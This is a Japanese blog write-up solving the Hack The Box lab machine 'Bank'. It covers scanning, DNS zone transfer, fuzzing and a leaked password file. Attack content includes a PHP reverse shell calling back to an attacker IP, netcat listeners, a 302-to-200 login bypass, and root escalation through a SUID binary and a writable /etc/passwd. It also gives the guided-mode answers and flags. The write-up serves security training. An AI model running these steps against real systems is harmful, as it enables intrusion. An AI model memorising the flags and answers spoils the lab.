Hack The BoxのWriteup(Bank)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Bank」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) DNSレコード問い合わせによるドメイン調査
  (3) 名前解決のためのhostsファイル更新
  (4) Webアクセスできるファイル/ディレクトリ調査
  (5) Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
  (6) Webページ上のファイル取得(/balance-transfer)
  (7) ファイルアップロードの脆弱性有無を確認
  (8) ファイルアップロードの脆弱性を悪用したリバースシェルによるwww-dataユーザー権限の奪取
  (9) 特権昇格(SUID設定の脆弱性)
  (10) 【別解】BurpSuiteを用いたレスポンスデータ変更(HTTPステータスコード302から200に変更)
  (11) 【別解】特権昇格(/etc/passwdの書き込み権限の脆弱性)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やDNS(53/tcp)やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.29
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 18:35 JST
Warning: 10.10.10.29 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.29
Host is up (0.34s latency).
Not shown: 65398 closed tcp ports (reset), 134 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT       ADDRESS
1   387.02 ms 10.10.16.1
2   387.03 ms 10.10.10.29

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.84 seconds


(2) ブラウザを用いて「http://10.10.10.29/」にアクセスすると、Webページが表示される。


DNSレコード問い合わせによるドメイン調査


(1) 攻撃対象のマシンが「Bank」のため、攻撃対象のマシンで「bank.htb」というFQDNが設定されていると推測する。

(2) DNSサービス(53/tcp)が動作しているため、*.bank.htbに関するDNSレコード問い合わせる。

$ dig axfr bank.htb @10.10.10.29
  ※axfrはゾーン転送要求をするオプションです。

; <<>> DiG 9.20.7-1-Debian <<>> axfr bank.htb @10.10.10.29
;; global options: +cmd
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
bank.htb.               604800  IN      NS      ns.bank.htb.
bank.htb.               604800  IN      A       10.10.10.29
ns.bank.htb.            604800  IN      A       10.10.10.29
www.bank.htb.           604800  IN      CNAME   bank.htb.
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
;; Query time: 464 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Sun Aug 17 22:07:51 JST 2025
;; XFR size: 6 records (messages 1, bytes 171)


名前解決のためのhostsファイル更新


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.10.29 bank.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.10.29 bank.htb」が出力されることを確認する。


(2) ブラウザを用いて「http://bank.htb/」にアクセスすると、Webサイトのログイン画面が表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ feroxbuster -u http://bank.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET        1l      287w    16994c http://bank.htb/assets/js/sweetalert.min.js
200      GET        7l      432w    37045c http://bank.htb/assets/js/bootstrap.min.js
200      GET        4l     1412w    95785c http://bank.htb/assets/js/jquery.js
301      GET        9l       28w      305c http://bank.htb/uploads => http://bank.htb/uploads/
301      GET        9l       28w      304c http://bank.htb/assets => http://bank.htb/assets/
302      GET      188l      319w     7322c http://bank.htb/ => login.php
301      GET        9l       28w      301c http://bank.htb/inc => http://bank.htb/inc/
200      GET        0l        0w        0c http://bank.htb/inc/user.php
302      GET        0l        0w        0c http://bank.htb/inc/header.php => login.php
200      GET       23l       38w      622c http://bank.htb/inc/footer.php
200      GET        0l        0w        0c http://bank.htb/inc/ticket.php
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容がない。

$ gobuster dir -u http://bank.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Bank_80.txt
ーーー(省略)ーーー
/.htpasswd            (Status: 403) [Size: 284]
/.htaccess            (Status: 403) [Size: 284]
/assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status        (Status: 403) [Size: 288]
/uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容がない。

$ sudo dirsearch -u http://bank.htb
ーーー(省略)ーーー
[23:40:00] 301 -  304B  - /assets  ->  http://bank.htb/assets/
[23:40:00] 200 -  480B  - /assets/
[23:40:25] 301 -  301B  - /inc  ->  http://bank.htb/inc/
[23:40:25] 200 -  508B  - /inc/
[23:40:31] 200 -  688B  - /login.php
[23:40:32] 302 -    0B  - /logout.php  ->  index.php
[23:40:43] 403 -  284B  - /php5.fcgi
[23:40:53] 403 -  288B  - /server-status
[23:40:53] 403 -  289B  - /server-status/
[23:41:00] 302 -    3KB - /support.php  ->  login.php
[23:41:05] 301 -  305B  - /uploads  ->  http://bank.htb/uploads/
[23:41:05] 403 -  283B  - /uploads/
ーーー(省略)ーーー




(4) ffufを用いてアクセスできるURLを確認すると、「http://bank.htb/balance-transfer」があることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://bank.htb/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 218ms]
uploads                 [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 220ms]
assets                  [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 288ms]
inc                     [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 220ms]
                        [Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 223ms]
server-status           [Status: 403, Size: 288, Words: 21, Lines: 11, Duration: 227ms]
balance-transfer        [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 213ms]
ーーー(省略)ーーー




Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)


(1) ffufを用いて他にどのような.phpファイルにアクセスできるか確認すると、「http://bank.htb/support.php」や「http://bank.htb/balance-transfer」があることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://bank.htb/FUZZ" -ic -e .php
ーーー(省略)ーーー
.php                    [Status: 403, Size: 279, Words: 21, Lines: 11, Duration: 225ms]
index.php               [Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 226ms]
login.php               [Status: 200, Size: 1974, Words: 595, Lines: 52, Duration: 386ms]
support.php             [Status: 302, Size: 3291, Words: 784, Lines: 84, Duration: 221ms]
                        [Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 3210ms]
uploads                 [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 216ms]
assets                  [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 219ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 224ms]
inc                     [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 216ms]
.php                    [Status: 403, Size: 279, Words: 21, Lines: 11, Duration: 212ms]
                        [Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 215ms]
server-status           [Status: 403, Size: 288, Words: 21, Lines: 11, Duration: 237ms]
balance-transfer        [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 213ms]
ーーー(省略)ーーー




Webページ上のファイル取得(/balance-transfer)


(1) ブラウザを用いて「http://bank.htb/」にアクセスすると、拡張子が.accのファイルが複数格納されていることが分かる。


(2) 「http://bank.htb/」配下のファイルを取得して、それぞれのファイルのファイルサイズを確認すると、「68576f20e9732f1b2edc4df5b8533230.acc」が他のファイルに比べて小さいことが分かる。

$ wget -r http://bank.htb/balance-transfer


$ cd bank.htb/balance-transfer


$ ls -l | grep "acc" | cut -f 8,14 -d " " | sort
257 68576f20e9732f1b2edc4df5b8533230.acc
581 09ed7588d1cd47ffca297cc7dac22c52.acc
581 941e55bed0cb8052e7015e7133a5b9c7.acc
582 052a101eac01ccbf5120996cdc60e76d.acc
582 0d64f03e84187359907569a43c83bddc.acc
ーーー(省略)ーーー


(3) 「68576f20e9732f1b2edc4df5b8533230.acc」の内容を確認すると、ユーザー名とパスワードが記載されていることが分かる。

$ cat 68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===


(4) ブラウザを用いて「http://bank.htb/login.php」にアクセスし、「メールアドレス:chris@bank.htb」と「パスワード:!##HTBB4nkP4ssw0rd!##」を入力してログインする。


(5) ログインに成功し、ダッシュボード画面が表示される。


ファイルアップロードの脆弱性有無を確認


(1) 左部の「Support」をクリックすると、チケットの登録画面がありファイルがアップロードできることが分かる。


(2) リバースシェルを実行するためのプログラムをダウンロードする。

$ git clone https://github.com/pentestmonkey/php-reverse-shell


$ cp ./php-reverse-shell/php-reverse-shell.php ./


(3) ダウンロードしたプログラムの内、$ipをKali LinuxのIPアドレスに変更する。

$ vi php-reverse-shell.php
  →以下の内容を変更する。

【変更前】
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

【変更後】
$VERSION = "1.0";
$ip = '10.10.16.10';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;


(4) 任意のTitle及びMessageを入力して、ダウンロードしたプログラム(php-reverse-shell.php)をアップロードする。


(5) イメージファイルしかアップロードできない旨のエラーメッセージが表示される。「OK」をクリックする。


(6) Burp Suiteでレスポンスデータの内容を確認すると、「<!-[DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] –>」という記載があるため、デバッグ目的でphpファイルの拡張子として.htbを追加した旨の記載があることが分かる。


ファイルアップロードの脆弱性を悪用したリバースシェルによるwww-dataユーザー権限の奪取


(1) チケット登録時にアップロードするプログラムのファイル名を「php-reverse-shell.php」から「php-reverse-shell.htb」に変更する。

(2) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。

# nc -lnvp 1234


(3) ブラウザを用いて「http://bank.htb/support.php」にアクセスする。その後、任意のTitle及びMessageを入力して、プログラム(php-reverse-shell.htb)をアップロードする。


(4) チケット登録処理が正常に実施された旨のメッセージが表示されるため、「OK」をクリックする。


(5) プログラム(php-reverse-shell.htb)を実行するために「Click Here」をクリックする。


(6) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.29] 58068
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 03:33:51 up 27 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$


(7) 完全なシェルを奪取する。

$ which python3
/usr/bin/python3

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

[Ctrl]+[Z]でバックグラウンドに移す

$ stty raw -echo;fg

$ bash

$ export TERM=xterm


(8) 現在ログインしているユーザーの情報を確認すると、www-dataユーザーであることが分かる

$ whoami
www-data

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


(9) 一般ユーザー用のフラグファイルの内容を確認する。

$ cat /home/chris/user.txt
b30937f8051f8081399896342cab7bb8


特権昇格(SUID設定の脆弱性)


(1) SUIDファイルを検索すると、「/var/htb/bin/emergency」というファイルがあることが分かる。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount


(2) 「/var/htb/bin/emergency」の内容を確認すると、Linuxの実行ファイルで一般ユーザーに実行権限があることが分かる。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ file /var/htb/bin/emergency
/var/htb/bin/emergency: setuid ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped


$ ls -l /var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14  2017 /var/htb/bin/emergency


(3) /var/htb/bin/emergencyを実行すると、rootユーザー権限のプロンプトが表示されることを確認する。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ /var/htb/bin/emergency
  →root権限のプロンプト(#)が表示される。


(4) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

# whoami
root


# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)


(5) 特権ユーザー用のフラグファイルの内容を確認する。

※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

# cat /root/root.txt
3db85ab14331331acd420351fa6576ef


【別解】BurpSuiteを用いたレスポンスデータ変更(HTTPステータスコード302から200に変更)


※「Webページ上のファイル取得(/balance-transfer)」の章にてWebサイトへのログイン認証を取得してログインしたが、BurpSuiteを用いたレスポンスデータを用いて「http://bank.htb/support.php」にアクセスできる。

(1) ブラウザを用いて「http://bank.htb/support.php」にアクセスすると、「http://bank.htb/login.php」にリダイレクトされることが分かる。


(2) BurpSuiteでレスポンスデータを確認すると、HTTPステータスコードの302 Foundになっていることが分かる。


(3) Burp Suiteの[Proxy] > [Match and Replace] 画面にて「Add」をクリックする。


(4) レスポンスデータを「302 Found」から「200 OK」に変更するために以下の内容を設定して、「OK」をクリックする。

項目
TypeResponse header
Match302 Found
Replace200 OK



(5) 設定した内容が表示されていることが分かる。


(6) ブラウザを用いて「http://bank.htb/support.php」にアクセスすると、チケットの登録画面が表示される。


(7) リバースシェルを実行するためのプログラムをダウンロードする。

$ git clone https://github.com/pentestmonkey/php-reverse-shell


$ cp ./php-reverse-shell/php-reverse-shell.php ./


(8) ダウンロードしたプログラムの内、$ipをKali LinuxのIPアドレスに変更する。

$ vi php-reverse-shell.php
  →以下の内容を変更する。

【変更前】
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

【変更後】
$VERSION = "1.0";
$ip = '10.10.16.10';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;


(9) 任意のTitle及びMessageを入力して、ダウンロードしたプログラム(php-reverse-shell.php)をアップロードする。


(10) イメージファイルしかアップロードできない旨のエラーメッセージが表示される。


(11) Burp Suiteでレスポンスデータの内容を確認すると、「<!-[DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] –>」という記載があるため、デバッグ目的でphpファイルの拡張子として.htbを追加した旨の記載があることが分かる。


(12) チケット登録時にアップロードするプログラムのファイル名を「php-reverse-shell.php」から「php-reverse-shell.htb」に変更する。

(13) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。

# nc -lnvp 1234


(14) ブラウザを用いて「http://bank.htb/support.php」にアクセスする。その後、任意のTitle及びMessageを入力して、プログラム(php-reverse-shell.htb)をアップロードする。


(15) プログラム(php-reverse-shell.htb)を実行するために「Click Here」をクリックする。


(16) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.29] 58068
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 03:33:51 up 27 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$


【別解】特権昇格(/etc/passwdの書き込み権限の脆弱性)


※「特権昇格(SUID設定の脆弱性)」の章にて「/var/htb/bin/emergency」を実行することで特権昇格したが、/etc/passwdに認証情報を書き込むことで任意のパスワードを設定してログインすることができる。

(1) /etc/passwdの権限を確認すると、一般ユーザーにも書き込み権限があることが分かる。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1252 May 28  2017 /etc/passwd


(2) /etc/passwdに書き込むためのパスワード(root12345)のMD5ハッシュ値を計算する。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ openssl passwd -1 root12345
$1$ncYtvnVO$0Ofn7OIoTww5xdGifIVk//


(3) /etc/passwdのrootユーザーの箇所にパスワードを入力する。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ vi /etc/passwd

【変更前】
root:x:0:0:root:/root:/bin/bash

【変更後】
root:$1$ncYtvnVO$0Ofn7OIoTww5xdGifIVk//:0:0:root:/root:/bin/bash


(4) 設定したパスワードを用いてsuコマンドで特権昇格する。

※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

$ su -
  →設定したパスワード(root12345)を入力する。


(5) 現在ログインしているユーザー情報を確認すると、rootユーザーであること分かる。

※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

# whoami
root


# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)


(6) 特権ユーザー用のフラグファイルの内容を確認する。

※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。

# cat /root/root.txt
3db85ab14331331acd420351fa6576ef


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many TCP ports are listening and accessible on Bank?
問題(日本語訳):Bankでリッスンおよびアクセス可能な TCP ポートはいくつありますか?

答え:3


・Task 2

問題(英語訳):What virtual host returns a website that isn't the default Ubuntu Apache page?
問題(日本語訳):デフォルトの Ubuntu Apache ページではない Web サイトを返す仮想ホストは何ですか?

答え:bank.htb


・Task 3

問題(英語訳):What is the relative path on the webserver that allows directory listing and shows a bunch of .acc files?
問題(日本語訳):ディレクトリの一覧を表示し、多数の .acc ファイルを表示する Web サーバー上の相対パスは何ですか?

答え:/balance-transfer


・Task 4

問題(英語訳):Which .acc file stands out as different from the others?
問題(日本語訳):どの .acc ファイルが他のファイルと比べて際立っていますか?

答え:68576f20e9732f1b2edc4df5b8533230.acc


・Task 5

問題(英語訳):Optional question: There is an alternative way to bypass the login form on Bank without finding creds for chris. What kind of vulnerability allows for this? Choose from SQLI, EAR, XSS, or XSRF.
問題(日本語訳):オプションの質問:クリスの認証情報を見つけずにBankのログインフォームをバイパスする別の方法があります。どのような脆弱性がこれを可能にしますか?SQLI、EAR、XSS、XSRFから選択してください。

答え:EAR


・Task 6

問題(英語訳):What file extension will execute as PHP for debugging purposes? Don't include the . in your answer.
問題(日本語訳):デバッグ目的で PHP として実行されるファイル拡張子は何ですか? 回答に . を含めないでください。

答え:htb


・Task 7

問題(英語訳):What user is the web server running as?
問題(日本語訳):Web サーバーはどのユーザーとして実行されていますか?

答え:www-data


・Submit User Flag

問題(英語訳):Submit the flag located in the chris user's home directory.
問題(日本語訳):chris ユーザーのホームディレクトリにあるフラグを送信します。

答え:b30937f8051f8081399896342cab7bb8
※「/home/chris/user.txt」の内容。


・Task 9

問題(英語訳):What is the full path to the non-standard binary that has SetUID permissions such that it executes as root?
問題(日本語訳):ルートとして実行できるように SetUID 権限を持つ非標準バイナリへのフル パスは何ですか?

答え:/var/htb/bin/emergency


・Submit Root Flag

問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。

答え:3db85ab14331331acd420351fa6576ef
※「/root/root.txt」の内容。


・Task 11

問題(英語訳):There's an alternative path from www-data to root on Bank. What is the full path of the critical Linux system file that is world-writable that shouldn't be?
問題(日本語訳):Bank には www-data からルートへの代替パスがあります。本来は誰でも書き込み可能なはずの、本来書き込み可能なはずのない重要な Linux システムファイルのフルパスは何ですか?

答え:/etc/passwd


関連記事(Hack The Box)

※後日作成予定。